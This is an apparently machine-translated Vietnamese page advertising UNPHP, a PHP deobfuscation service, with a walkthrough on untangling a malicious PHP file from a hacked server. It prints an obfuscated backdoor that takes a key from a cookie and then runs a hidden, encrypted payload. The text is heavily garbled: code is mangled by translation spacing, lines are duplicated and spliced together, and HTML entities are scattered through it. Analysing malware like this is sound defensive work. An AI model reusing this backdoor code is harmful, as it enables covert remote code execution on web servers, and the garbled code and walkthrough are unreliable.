Hướng dẫn how to decode php file - cách giải mã tập tin php

UNPHP là một dịch vụ miễn phí để phân tích mã PHP bị xáo trộn và độc hại.

Để bắt đầu sao chép mã của bạn bên dưới hoặc chọn một tệp để tải lên sau đó nhấp vào 'Giải mã PHP này'. Chỉ cần kiểm tra điều này? Tải dữ liệu mẫu.

Eval + gzinflate + base64

UNPHP dễ dàng xử lý các phương thức obfuscation đơn giản mà các chức năng chuỗi như eval (), gzinflate (), str_rot13 (), str_replace () và base64_decode ()

Xem đầu ra

Khả năng khử trùng đệ quy

Các vòng lặp UNPHP đệ quy thông qua mã PHP để giải mã nhiều cấp độ obfuscation. Ví dụ dưới đây sử dụng 81 vòng của eval () + base64_decode ()

Xem đầu ra

Chức năng tùy chỉnh và hỗ trợ regex

UNPHP xử lý các chức năng giải mã tùy chỉnh và biểu thức chính quy. Ví dụ dưới đây sử dụng hàm d1 () và preg_replace () với bộ cờ thực thi.

Xem đầu ra

Nếu bạn đã từng có một trang web hoặc máy chủ bị hack đang phục vụ các tệp PHP, thì bạn có thể đã bắt gặp một tệp như thế này:

& nbsp;Xem đầu ra $xzsuh='$7-"]A8qcb[rj@y';$bpvdd='!a@nT'^'L';$auzn='%1#';$mgfbv='V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';$tj=',%XQ6Aq(#7';$whhwy='u8?+r%h';$krqf='VQGt:VER&ow2u'^'??.+I31';
& nbsp;// Làm cho báo cáo lỗi chắc chắn gấp đôi đã tắtdghpp='3GA,K#)MT:[Y2V*'^'V53C9|[($U)-[8M`KrE/Z';$gqwmvj='4}'^'PH`T.P';/*$yyb;U`wg6|cj!J3HPokqu^}No&L%g-bP&gjca8+ssus>>$knvwb*/$atj='W+';##+Tbm]RB{WB!A[g2[:Nm]Y#fZbV#S
& nbsp;$eevd='#8@=:3B0?xi]5dE}'^'{0`)_y5gYw5gil[';eevd='#8@=:3B0?xi]5dE}'^'{0`)_y5gYw5gil[';
& nbsp;$qkkgc=0;$krqf($dghpp,$qkkgc);$bcae='OW=0B$.NVY4_L^M';$chbnph=$tj.$atj;$waw=@$_COOKIE;'j[vo';##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.qkkgc=0;$krqf($dghpp,$qkkgc);$bcae='OW=0B$.NVY4_L^M';$chbnph=$tj.$atj;$waw=@$_COOKIE;'j[vo';##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
& nbsp;$davmw^'oxxftkfxsatijuf';'c*Ssr43';davmw^'oxxftkfxsatijuf';'c*Ssr43';
& nbsp;ini_set ('error_Reporting', 0);$dghpp($qkkgc);$kr='ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';/*cxUyn/5.I7YpRMa7pb*?jRY,YPqGMlKk=ArPkUC;4+6gw3Mk]|3$or7AK{&[Q+5t_2HYf^Dxf;=*+GB8Ea{`Ao?LQJhqVe%i!8{*/
& nbsp;$atj=$bpvdd.$gqwmvj;/*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/$ibvffk=$chbnph.$auzn^$bcae;'o[ccl6';##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sAatj=$bpvdd.$gqwmvj;/*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/$ibvffk=$chbnph.$auzn^$bcae;'o[ccl6';##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sA
& nbsp;$popfk^'iajayqwinglyeqzar';##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gkpopfk^'iajayqwinglyeqzar';##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gk
& nbsp;/*$elmwb;)_UT3E9ZSCTAG1O Xgch '; if ($ vzy == $ atj ($ qGEXH) 'npb] n7%z34fj] rz (.2ot & v: `` z) cl909reyto} wb_ $ e $ 64]*:#@/l3a*el_k- = 7x+jfy8va+QE) MYL4 $ woopya [kjonmfwnd $ t8rnl+rry`gvi, y5 [^a-fh`ly $ m_+fxu-lm) mzvj9; 4i/x^8tihr3c? ./"LcotXi#%B5>Ju;*/$jtduv^bình; "V: u] ul1cde [5}] fbfk:, 2WWC9 $ pid0 & 2$qgexh=$waw['zqcvp'];$vzy=$kr.'ftAx'^$mgfbv;',XGCh';if($vzy==$atj($qgexh)/*;WQ-Cy,]7V|4/XGdC664?qU}KA&E$tbid='obkxikcuumadvf';'lgkmtnfd';*/){$oxkj='nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';$mylpm^$qrd;/*m8x}D}X3Q8GUK2E(Jo2w{E"MTIvhxfab|2gWYt`k%O:%4T^8]Q:6../"LcoTxi#%b5}jU;*/$jtduv^$asm;$nbwlb='zWA$I-4NH{]^W*Cy|1&3';'s_c,m0*';'mT9C3';##"V:U]Ul1cde[5}]fBfk:,2WwC9$pid0&2
& nbsp;$gj='Cw1VaN^)yg*';$buupi=$lbq^'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';$ndix='$2+YS,yhMM?_Q=*=r(!/PeZC8';/*!=s;#W4l4Z8QhFx[i`8A3&Y8RZTakQTRnqinrglgj='Cw1VaN^)yg*';$buupi=$lbq^'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';$ndix='$2+YS,yhMM?_Q=*=r(!/PeZC8';/*!=s;#W4l4Z8QhFx[i`8A3&Y8RZTakQTRnqinrgl<$esz='U+"DpMITACDJ=z494%t5#{CN+'.'mxh';':#S/s';##O!Vs=+S8(IZY68g?v(?A|r+i+"C}4!=xgU]-
& nbsp;$ yintv = '$ k`p/cz'; 'vq4u';/*$ gcg; l! DO9Co10oe |/& 2V |yintv='$k`P/Cz';'vQ4U';/*$gcg;l!dO9Co10oe|/&2v|c25A&h@bwr<<$wemltidyc*//*HY@[8fa@dY$%]S_I%KvS([X$rxmv='vraxfyxbtis';'fllxafyjoanw';*/$tbjq='Rs.N$[B7a%??$OuM#UCP';$cdyot='tCKS+@tq)/)iZ+cg60';'RPNVGq';/*$jy;;kTaM|X2t"Z:#g?6zdahdloywp<<$xjbeihc*/
& nbsp;$ mivbcw = $ oxkj. $ tbjq; $ nuim = 'dyky!] H, em {b | 77xzkgpy0s,%) ra; x1d.b =) _ s8rza $ tv & -w4i7fs | k} vm/$, = z6 {; không?; m-bkrbn+; 4 {_o! 0y3.f#.3 $ mhks+$ dau4: u? (@54dmig2!mivbcw=$oxkj.$tbjq;$nuim='dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV='.$nbwlb;
& nbsp;/*S [v^6b9,+[bfr6o8 &: p4i5mr+y [? ] _K? V, gof '; $ buxw ='^5^&! K {`,, = 0vvk2 '; $ uhd =' kc4 (| ) gq%sq] frtqwl! 2 [= cm = kx3q {elmyhokyiqjhcrtro |) j2p3pd?$koab^'InNV"(]_K?v,GoF';$buoxw='^5^&!K{`,,=0VvK2';$uhd='Kc4(|+zdQ*e=p3@n'.$ximo;/*8|)gQ%SQ]FRtQWL!2[=CM=kx3Q{elMyhokyiqjhcrtro|)j2P3PD?jHceUkwd]YBqG*/$wxojo='Kc4(|+zdQ*e=p3@n'^$olzxu;
& nbsp;$uyvnw=$qpovk.'yo#0c5l/+2d2@bp6ln) 9yu '; $ iow ='. 4W} ny*rtw "k {) {(z.st*#'; Pvypmp4rw@$ s {j ## t3/cry: 1 '; $ iuib = $ nuim.'f {iqv6h'^$ mivbcw.'urvqnj%/pkgy = 226e? Snqj, tx $ {b08 '; } mfo.?: zo3g? d $)-xz | jngn9 | n0y0vdscfyxft^"uyvnw=$qpovk.'yo#0c5l/+2D2@Bp6Ln)9Yu';$iow='.4W}Ny*Rtw"K{){(Z.st*#';$nuim.=':63yj.PVYpmP4rW@$S{J##T3/CRY:1';$iuib=$nuim.'f{IqV6H'^$mivbcw.'URVQNJ%/pKgY=226E?SnQJ,TX${b08';/*dMjVrDl?=}mfo.?:zO3g?D$)-xZ|jNGN9|N0Y0vdscfyxft^"lJtSc#5|H|]-WUMwL*/
& nbsp;$ XEF = $ XEF.'SKLUXYBZR ?? tzo '; $ tbaj =' x | wus9 && o5;, llpy] 8i ';xef=$xef.'skluXYBZR??tzo';$tbaj='X|wUS9&&o5;,llpy]8i';
& nbsp;/*| [@! ; $ wwii = $ ibvffk ($ uwks, $ iuib); $ wwii ('$ (r6%] W? DVM! Y $ `-w? : ',' mozt [_] ');} $ rsx = $ zff; ;/*J}*l0a.4rawz %% ._*/## dit.64ic@c, | v_xqz+.@0z $ 2He%[) UTRD $#8*1$dppx=$dppx.'[@!qz7^';$gskq='hmm2ZB8y0qB@{Iu,[aKgYKH7'.',Mq!n_o$8A0.6-/L';'Ml3.;-s]+i';'f{IqV6H';$wwii=$ibvffk($uwks,$iuib);$wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:','mOZT[_]');}$rsx=$zff;'B4-}q$N';$yknx='L+O_$UrRRsHO=sZmn$';$txwtr='hN8#8sM^';/*J}*l0A.4raWZ%%5_zuI[T4j$uqfw='ttemooij';'ovewoetxtmds';*//*HIZNP7x*,]igRpE"?TGkkmJJ5$!Uf&-I:=Y()KUXPh`NU._*/##dit.64iC@C,|v_XQz+.@0Z$2hE%[)UTrD$#8*1
& nbsp;$ oqxj = 'ou4! qg1'; ## c | glsu*", lldgfm.ad`xv (uoqxj='oU4!qG1';##c|gLsu*",LLDGfM.AD`xV(U
& nbsp;$ lhbv = ':? l9 "asac64huhr:} o'; $ gvk; '} y7, afis-15l}^| 6w2 {: 3x5 &';lhbv=':?L9"asAc64HuHR:}O';$gvk;'}Y7,afIs-15l}^|6W2{:3X5&';
& nbsp;'ENlM]C%Hw.#9IB';'4/JTUP';?>;'4/JTUP';?>

Đây là một ví dụ thực tế mà Reddit User /U /Narcissus921 đã đăng ở đây. Ngay cả một lập trình viên có kinh nghiệm cũng có thể gặp khó khăn trong việc làm sáng tỏ những gì một chương trình như thế này làm. & NBSP; tin tặc thường làm xáo trộn mã của họ để bạn không thể giải mã được cách thức hoạt động.Hackers often obfuscate their code so you can't decipher how it works.

$ dghpp = '3Ga, k#) mt: [y2v*'^'v53c9 | [($ u)-[8m`kre/z'; $ gqwmvj = '4}'^'ph`t.p';/ *$ yyb; u`wg6 | cj! j3Hpokqu #fzbv#s

/*$zbrux;Slz07 = Hf`ldyrg ';/*cxuyn/5.i7yprma7pb*? {*/

& nbsp;
& nbsp;$ xzsuh = '$ 7-"] a8qcb [rj@y';xzsuh = '$7-"]A8qcb[rj@y';
& nbsp;$ bpvdd = '! a@nt' ^ 'l';bpvdd = '!a@nT' ^ 'L';
& nbsp;& nbsp;
& nbsp;$ aUzn = '%1#'; // đã sử dụngauzn = '%1#'; // used
& nbsp;& nbsp;
& nbsp;$ mgfbv = 'v_xzcyzwri_nod^ywf2p [r | j, qp] vifs';mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
& nbsp;& nbsp;
& nbsp;$ tj = ',%xq6aq (#7'; // Được sử dụngtj = ',%XQ6Aq(#7'; // used
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ whhwy = 'u8?+r%h';whhwy = 'u8?+r%h';
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';gqwmvj = '4}' ^ 'PH`T.P';
& nbsp;/*$ yyb; u`wg6 | cj!
& nbsp;& nbsp;
& nbsp;$ atj = 'w+'; ##+tbm] rb {wb! A [g2 [: nm] y#fzbv#s // đã sử dụngatj = 'W+'; ##+Tbm]RB{WB!A[g2[:Nm]Y#fZbV#S // used
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ eevd = '#8@=: 3b0? xi] 5de}' ^ '{0`) _y5gyw5gil [';eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
& nbsp;$ qkkgc = 0;qkkgc = 0;
& nbsp;$ krqf ($ dghpp, $ qkkgc);krqf($dghpp, $qkkgc);
& nbsp;$ bcae = 'ow = 0b $ .nvy4_l^m';bcae = 'OW=0B$.NVY4_L^M';
& nbsp;$ CHBNPH = $ TJ. $ ATJ;chbnph = $tj . $atj;
& nbsp;$ waw = @$ _ cookie;waw = @$_COOKIE;
& nbsp;'j [vo'; ##? SM) O ([K], 2WP-Qbjloily) k:+l0; $ As? C: 03.; ##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
& nbsp;$ davmw ^ 'oxxftkfxsatijuf';davmw ^ 'oxxftkfxsatijuf';
& nbsp;'c*Ssr43';;
& nbsp;/*$zbrux;Slz07 =
& nbsp;$dghpp($qkkgc);dghpp($qkkgc);
& nbsp;$ kr = 'ehi8plbdc {jz, ro? awt3ikm+hf`ldyrg';kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
& nbsp;/*cxUyn
& nbsp;$ atj = $ bpvdd. $ gqwmvj;atj = $bpvdd . $gqwmvj;
& nbsp;/*0%iUxBa+RY;%c"(@;nT/S}n&7vf%L*m]leg7qpB*/
& nbsp;$ ibvffk = $ chbnph. $ aUzn ^ $ bcae;ibvffk = $chbnph . $auzn ^ $bcae;
& nbsp;'O [CCL6'; ## fn_/xzwu9*s/57-lhi4x (ra4ri/2%) 21SA; ##fN_/xZwu9*S/57-LHi4X(ra4ri/2%)21sA
& nbsp;$ popfk ^ 'iajayqwinglyeqzar'; ## c} ko%nj [yujh/5,*vd = 2+{x4.2]@(! f: d [gkpopfk ^ 'iajayqwinglyeqzar'; ##c}ko%nJ[yUJH/5,*vd=2+{X4.2]@(!F:d[Gk
& nbsp;/*$ elmwb;)
& nbsp;$ qGEXH = $ waw ['zqcvp'];qgexh = $waw['zqcvp'];
& nbsp;$ vzy = $ kr. 'ftax' ^ $ mgfbv;vzy = $kr . 'ftAx' ^ $mgfbv;
& nbsp;',XGCh';;
& nbsp;if ($ vzy == $ atj ($ qgexh)/*; wq-cy,] 7v | 4/xgdc664? qu} ka & e $ tbid = 'obkxikcUumadvf'; 'lgkmtnfd';*/) ($vzy == $atj($qgexh) /*;WQ-Cy,]7V|4/XGdC664?qU}KA&E$tbid='obkxikcuumadvf';'lgkmtnfd';*/ ) {
& nbsp;$ oxkj = 'npb] n7%z34fj] rz (.2ot & v: `` z) cl909reyto} wb_ $ e $ 64]*:#@/l3a*el_k- = 7x+jfy8va+QE) `KGT? MYL4 $ woopya [kjonmfwnd $ t8rnl+rry`gvi, y5 [ 7n.#4i/x^8tihr3c?oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
& nbsp;$ MYLPM ^ $ qrd;mylpm ^ $qrd;
& nbsp;/*m8x =
& nbsp;$ jtduv ^ $ asm;jtduv ^ $asm;
& nbsp;$ nbwlb = 'zwa $ i-4nh {]^w*cy | 1 & 3';nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
& nbsp;'s_c,m0*';;
& nbsp;'MT9C3'; ## "V: u] ul1cde [5}] fbfk:, 2WWC9 $ pid0 & 2; ##"V:U]Ul1cde[5}]fBfk:,2WwC9$pid0&2
& nbsp;$ gj = 'cw1van^) yg*';gj = 'Cw1VaN^)yg*';
& nbsp;$ BUUPi = $ lbq ^ 'ayb (oygi-lk) 5n = ^ $ _ bf3fw) tb';buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
& nbsp;$ ndix = '$ 2+ys, yhmm? _q =*= r (!/pezc8';ndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
& nbsp;/*!=s;#W4l4Z8QhFx[i`8A3&Y8RZTakQTRnqinrgl
& nbsp;$ esz = 'u+"dpmitacdj = z494%t5#{cn+'. 'mxh';esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
& nbsp;':#S/s'; ## O! VS =+S8 (izy68g? V (? A | R+I+"C} 4! = XGU]-; ##O!Vs=+S8(IZY68g?v(?A|r+i+"C}4!=xgU]-
& nbsp;$ yintv = '$ k`p/cz';yintv = '$k`P/Cz';
& nbsp;'vQ4U';;
& nbsp;/*$ gcg; l! DO9CO10oE |/& 2V | C25A & H@BWR
& nbsp;/*HY@[8fa@dY$%]S_I%KvS([X$rxmv='vraxfyxbtis';'fllxafyjoanw';*/
& nbsp;$ tbjq = 'rs.n $ [b7a%?? $ OUM#UCP';tbjq = 'Rs.N$[B7a%??$OuM#UCP';
& nbsp;$ cdyot = 'tcks+@tq)/) iz+cg60';cdyot = 'tCKS+@tq)/)iZ+cg60';
& nbsp;'RPNVGq';;
& nbsp;/*$ jy ;; ktam | x2t "z: #g? 6zdahdloywp
& nbsp;$ mivbcw = $ oxkj. $ TBJQ;mivbcw = $oxkj . $tbjq;
& nbsp;$ nuim = 'dyky!] H, em {b | 77xzkgpy0s,%) ra; c [q & g $] f] hb9m) AIS8^e@/a8v/^6d W4i7fs | k} vm/$, = z6 {; không?; M-bkrbn+; 4 {_o! I $ l+fht4; : U? (@54dmig2! M; 1K#jc & bpcqdlmfx%gfokk3 & u#k5i9j6ko (+2*2o+7b#oe7s = -cv = '. $ Nbwlb;nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
& nbsp;/*S[v^6b9,+[BFr6O8&:P4I5mR+y[?lydddbwjyfvmpb^G4,`P;0QepV2}kE6Jx=+-oSb&}1(B:q2=6G=)*/
& nbsp;$ koab ^ 'innv "(] _ k? V, gof';koab ^ 'InNV"(]_K?v,GoF';
& nbsp;$ BUOXW = '^5^&! K {`,, = 0VVK2';buoxw = '^5^&!K{`,,=0VvK2';
& nbsp;$ uhd = 'kc4 (|+zdq*e = p3@n'. $ ximo;uhd = 'Kc4(|+zdQ*e=p3@n' . $ximo;
& nbsp;/*8 |) gq%sq] frtqwl! 2 [= cm = kx3q
& nbsp;$ wxojo = 'kc4 (|+zdq*e = p3@n' ^ $ olzxu;wxojo = 'Kc4(|+zdQ*e=p3@n' ^ $olzxu;
& nbsp;$ UYVNW = $ QPOVK. 'yo#0c5l/+2d2@bp6ln) 9yu';uyvnw = $qpovk . 'yo#0c5l/+2D2@Bp6Ln)9Yu';
& nbsp;$ iow = '.4w} ny*rtw "k {) {(z.st*#';iow = '.4W}Ny*Rtw"K{){(Z.st*#';
& nbsp;$ nuim. = ': 63yj.pvypmp4rw@$s {j ## t3/cry: 1';nuim .= ':63yj.PVYpmP4rW@$S{J##T3/CRY:1';
& nbsp;$ iuib = $ nuim. 'f {iqv6h' ^ $ mivbcw. 'Urvqnj%/pkgy = 226e? Snqj, tx $ {b08';iuib = $nuim . 'f{IqV6H' ^ $mivbcw . 'URVQNJ%/pKgY=226E?SnQJ,TX${b08';
& nbsp;/*dmjvrdl?= =
& nbsp;$ XEF = $ XEF. 'Skluxybzr ?? tzo';xef = $xef . 'skluXYBZR??tzo';
& nbsp;$ tbaj = 'x | wus9 && o5;, llpy] 8i';tbaj = 'X|wUS9&&o5;,llpy]8i';
& nbsp;/*| Gx^fe#b^l | l2v {, wmeh & by "y^e)
& nbsp;$ dppx = $ dppx. '[@! QZ7^';dppx = $dppx . '[@!qz7^';
& nbsp;$ gskq = 'hmm2zb8y0qb@{iu, [akgykh7'. ', MQ! N_O $ 8A0.6-/L';gskq = 'hmm2ZB8y0qB@{Iu,[aKgYKH7' . ',Mq!n_o$8A0.6-/L';
& nbsp;'Ml3.;-s]+i';;
& nbsp;'f{IqV6H';;
& nbsp;$ wwii = $ ibvffk ($ uwks, $ iuib);wwii = $ibvffk($uwks, $iuib);
& nbsp;$ wwii ('$ (r6%] W? DVM! Y $ `-W?wwii('$(R6%]w?dvM!y$`-w?-HR{*Oyf=,$IRsqDS+r@BE!O.*:', 'mOZT[_]');
& nbsp;}
& nbsp;$ rsx = $ zff;rsx = $zff;
& nbsp;'B4-}q$N';;
& nbsp;$ yknx = 'l+o_ $ urrrsho = szmn $';yknx = 'L+O_$UrRRsHO=sZmn$';
& nbsp;$ txwtr = 'hn8#8sm^';txwtr = 'hN8#8sM^';
& nbsp;/*J}*l0A.4raWZ%%5_zuI[T4j$uqfw='ttemooij';'ovewoetxtmds';*/
& nbsp;/*Hiznp7x*,THERigrpe"?tgkkmjj5$! 1 ##dit.64iC@C,|v_XQz+.@0Z$2hE%[)UTrD$#8*1
& nbsp;$ oqxj = 'ou4! qg1'; ## c | glsu*", lldgfm.ad`xv (uoqxj = 'oU4!qG1'; ##c|gLsu*",LLDGfM.AD`xV(U
& nbsp;$ lhbv = ':? l9 "asac64huhr:} o';lhbv = ':?L9"asAc64HuHR:}O';
& nbsp;$gvk;gvk;
& nbsp;'} Y7, afis-15l}^| 6w2 {: 3x5 &';;
& nbsp;'ENlM]C%Hw.#9IB';;
& nbsp;'4/JTUP';;
& nbsp;?>

Nó vẫn không thể đọc chính xác, nhưng đó là một bước đi đúng hướng.

Một số bạn có thể đã nhận thấy rất nhiều mã trong tệp này không làm gì cả. Mã nơi các hoạt động được thực hiện, nhưng không có giá trị nào được gán, chuỗi không được gán, v.v. Đây là một thủ thuật khác, các tin tặc sử dụng để loại bỏ bạn: thêm mã ngẫu nhiên không thực sự làm gì cả.

Bước tiếp theo của chúng tôi là sẽ loại bỏ loại mã đó. Nó có thể là một chút khó khăn để tìm ra liệu mã có đang làm gì đó hay không, nhưng một hướng dẫn dễ dàng để tuân theo là: nếu không có bài tập ($ foo = $ bar) hoặc không có gọi gọi chức năng (foo () hoặc $ foo ()) , sau đó chúng ta có thể giả sử mã một cách an toàn không ảnh hưởng đến chương trình và nó có thể được xóa. & nbsp;

Một ví dụ hoàn hảo về những gì tôi đang nói là 3 dòng này ngay tại đây:

& nbsp;
& nbsp;& nbsp;
& nbsp;'j [vo'; ##? SM) O ([K], 2WP-Qbjloily) k:+l0; $ As? C: 03.; ##?SM)o([k],2wp-qbjlOILy)K:+L0;$As?c:03.
& nbsp;$ davmw ^ 'oxxftkfxsatijuf';davmw ^ 'oxxftkfxsatijuf';
& nbsp;'c*Ssr43';;
& nbsp;/*$zbrux;Slz07 =

'j [vo'; ##? SM) O ([K], 2WP-Qbjloily) k:+l0; $ As? C: 03.

& nbsp;
& nbsp;'j [vo'; ##? SM) O ([K], 2WP-Qbjloily) k:+l0; $ As? C: 03.xzsuh = '$7-"]A8qcb[rj@y';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ davmw ^ 'oxxftkfxsatijuf';bpvdd = '!a@nT' ^ 'L';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;/*$zbrux;Slz07 =auzn = '%1#';
& nbsp;Sau khi mã không sử dụng đã bị xóa, chương trình của bạn bây giờ sẽ giống như vậy:mgfbv = 'V_xZCYzWRI_NOd^YWF2P[r|J,qP]vIfS';
& nbsp;'j [vo'; ##? SM) O ([K], 2WP-Qbjloily) k:+l0; $ As? C: 03.tj = ',%XQ6Aq(#7';
& nbsp;$ davmw ^ 'oxxftkfxsatijuf';whhwy = 'u8?+r%h';
& nbsp;/*$zbrux;Slz07 =atj = 'W+';
& nbsp;& nbsp;
& nbsp;Sau khi mã không sử dụng đã bị xóa, chương trình của bạn bây giờ sẽ giống như vậy:krqf = 'VQGt:VER&ow2u' ^ '??.+I31';
& nbsp;$ xzsuh = '$ 7-"] a8qcb [rj@y';dghpp = '3GA,K#)MT:[Y2V*' ^ 'V53C9|[($U)-[8M`KrE/Z';
& nbsp;$ bpvdd = '! a@nt' ^ 'l';gqwmvj = '4}' ^ 'PH`T.P';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ aUzn = '%1#';eevd = '#8@=:3B0?xi]5dE}' ^ '{0`)_y5gYw5gil[';
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ mgfbv = 'v_xzcyzwri_nod^ywf2p [r | j, qp] vifs';qkkgc = 0;
& nbsp;$ tj = ',%xq6aq (#7';krqf($dghpp, $qkkgc);
& nbsp;$ whhwy = 'u8?+r%h';bcae = 'OW=0B$.NVY4_L^M';
& nbsp;$ atj = 'w+';chbnph = $tj . $atj;
& nbsp;$ krqf = 'vqgt: ver & ow2U' ^ '??.+i31';waw = @$_COOKIE;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$dghpp($qkkgc);dghpp($qkkgc);
& nbsp;$ dghpp = '3Ga, k#) mt: [y2v*' ^ 'v53c9 | [($ u)-[8m`kre/z';kr = 'ehI8plBdc{jz,Ro?awT3iKM+HF`lDyRg';
& nbsp;& nbsp;
& nbsp;$ gqwmvj = '4}' ^ 'ph`t.p';atj = $bpvdd . $gqwmvj;
& nbsp;& nbsp;
& nbsp;$ eevd = '#8@=: 3b0? xi] 5de}' ^ '{0`) _y5gyw5gil [';ibvffk = $chbnph . $auzn ^ $bcae;
& nbsp;& nbsp;
& nbsp;$ qkkgc = 0;qgexh = $waw['zqcvp'];
& nbsp;$ krqf ($ dghpp, $ qkkgc);vzy = $kr . 'ftAx' ^ $mgfbv;
& nbsp;& nbsp;
& nbsp;& nbsp;
& nbsp;$ bcae = 'ow = 0b $ .nvy4_l^m'; ($vzy == $atj($qgexh)) {
& nbsp;$ CHBNPH = $ TJ. $ ATJ;oxkj = 'nPb]N7%Z34Fj]RZ(.2oT&v:``z)cL909REytO}WB_$E$64]*:#@/L3A*El_k-=7x+jfY8VA+qe)x5I$)HL:QKjoSFkY).`kgt?mYL4$WOOpYa[KjONMFwND$T8RNL+rry`gvI,Y5[^A-fh`ly$M_+fXU-lM)MZVJ9;cwtb--0gaw[C8XCf02EFL=d_*N/A{KpyQ@3.)7n.#4i/X^8TIhr3c?O=ASU]UrIV1FyQh7XN,2X';
& nbsp;& nbsp;
& nbsp;$ waw = @$ _ cookie;nbwlb = 'zWA$I-4NH{]^W*Cy|1&3';
& nbsp;& nbsp;
& nbsp;$ kr = 'ehi8plbdc {jz, ro? awt3ikm+hf`ldyrg';gj = 'Cw1VaN^)yg*';
& nbsp;$ atj = $ bpvdd. $ gqwmvj;buupi = $lbq ^ 'ayb(oYgI-Lk)5N=^$_Bf3Fw)tb';
& nbsp;$ ibvffk = $ chbnph. $ aUzn ^ $ bcae;ndix = '$2+YS,yhMM?_Q=*=r(!/PeZC8';
& nbsp;& nbsp;
& nbsp;$ qGEXH = $ waw ['zqcvp'];esz = 'U+"DpMITACDJ=z494%t5#{CN+' . 'mxh';
& nbsp;& nbsp;
& nbsp;$ vzy = $ kr. 'ftax' ^ $ mgfbv;yintv = '$k`P/Cz';
& nbsp;& nbsp;
& nbsp;if ($ vzy == $ atj ($ qgexh)) {tbjq = 'Rs.N$[B7a%??$OuM#UCP';
& nbsp;$ oxkj = 'npb] n7%z34fj] rz (.2ot & v: `` z) cl909reyto} wb_ $ e $ 64]*:#@/l3a*el_k- = 7x+jfy8va+QE) `KGT? MYL4 $ woopya [kjonmfwnd $ t8rnl+rry`gvi, y5 [ 7n.#4i/x^8tihr3c?cdyot = 'tCKS+@tq)/)iZ+cg60';
& nbsp;& nbsp;
& nbsp;$ nbwlb = 'zwa $ i-4nh {]^w*cy | 1 & 3';mivbcw = $oxkj . $tbjq;
& nbsp;$ gj = 'cw1van^) yg*';nuim = 'dYky!]H,EM{B|77XZKGpy0s,%)rA;C[Q&g$]f]hb9M)AiS8^e@/A8V/^6D{4kt{=x1D.B=)_S8rZA$Tv&-W4i7Fs|K}vm/$,=z6{;NO?;m-bkRBN+;4{_o!I$L+fht4;5%4-kH2M6)cpOA@SYB$3N9?0Y3.F#.3$MHKS+$dau4:U?(@54Dmig2!M;1K#Jc&bPCqdlmfx%gfoKK3&U#k5I9j6kO(+2*2O+7B#Oe7S=-CV=' . $nbwlb;
& nbsp;& nbsp;
& nbsp;$ BUUPi = $ lbq ^ 'ayb (oygi-lk) 5n = ^ $ _ bf3fw) tb';koab ^ 'InNV"(]_K?v,GoF';
